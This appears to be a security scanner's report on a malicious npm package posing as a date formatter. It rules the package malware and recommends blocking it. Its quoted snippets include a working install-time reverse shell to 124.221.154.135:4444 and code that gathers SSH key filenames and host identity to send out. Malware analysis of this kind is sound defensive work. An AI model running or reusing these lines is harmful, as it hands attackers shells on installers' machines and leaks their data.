A separate bundled script also implements host fingerprint collection and exfiltration. - **Trigger:** npm install executes postinstall. - **Impact:** Remote command execution as the installing user; potential host reconnaissance exfiltration. - **Evidence paths:** package.json, postinstall.js, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-09T14:36:49.352Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** install-time reverse shell and bundled host-data exfiltration code - **Attack narrative:** On npm install, package.json invokes an interactive sh reverse shell redirected through /dev/tcp to 124.221.154.135:4444, granting a remote listener commands as the installer. The package also contains postinstall.js, which enumerates SSH public-key filenames, collects username and platform, and sends that data to the same IP; it is not referenced by the manifest but reinforces malicious intent. - **Rationale:** The manifest directly defines an unconsented install-time reverse shell to a fixed external IP. The unused bundled reconnaissance/exfiltration script corroborates the malicious purpose. - **Files touched:** package.json, postinstall.js - **Network endpoints:** 124.221.154.135:4444, https://124.221.154.135:443/post ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** package.json postinstall opens an interactive shell to 124.221.154.135:4444., postinstall.js enumerates ~/.ssh public-key filenames and host/user identity., postinstall.js POSTs collected data to 124.221.154.135 over HTTPS. - **Evidence against:** index.js is a simple local date-formatting export., postinstall.js is not the manifest lifecycle command. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = sh -i >& /dev/tcp/124.221.154.135/4444 0>&1 ``` ### 2. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = sh -i >& /dev/tcp/124.221.154.135/4444 0>&1 ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 5. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 6. High: Host Fingerprint Exfiltration - **Category:** Source - **Confidence:** 86.0% - **Path:** postinstall.js - **Public source:** [View source]() Source collects local host identity data and sends it to an external endpoint. Public source snippet (untrusted): ```javascript L3: const os = require('os'); L4: const https = require('https'); L5: ... L8: try { L9: const sshDir = path.join(os.homedir(), '.ssh'); L10: // 筛选出 .pub 结尾的文件（通常公钥和私钥成对存在，这里可能是为了规避某些检测或作为标记） ... L50: L51: req.write(data); L52: req.end(); ``` ### 7. Critical: Reverse Shell - **Category:** Source - **Confidence:** 92.0% - **Path:** package.json\#scripts.postinstall - **Public source:** [View source]() Source matches reverse-shell style process and socket wiring. Public source snippet (untrusted): ```text L1: require("child_process").exec("sh -i >& /dev/tcp/124.221.154.135/4444 0>&1"); L2: sh -i >& /dev/tcp/124.221.154.135/4444 0>&1 ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** simple-date-formatter-new-9 - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** ISC - **Version published:** 2026-08-09T14:33:50.800Z - **Package first seen:** 2026-08-09T14:36:49.352Z - **Package last seen:** 2026-08-09T14:36:49.352Z - **Known versions:** 1 - **Latest version:** 1.0.0 - **Appeal under review:** No - **Description:** A new date formatting utilit1 - **Keywords:** date, format, util - **Artifact files:** 4 - **Artifact unpacked size:** 2,321 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]()
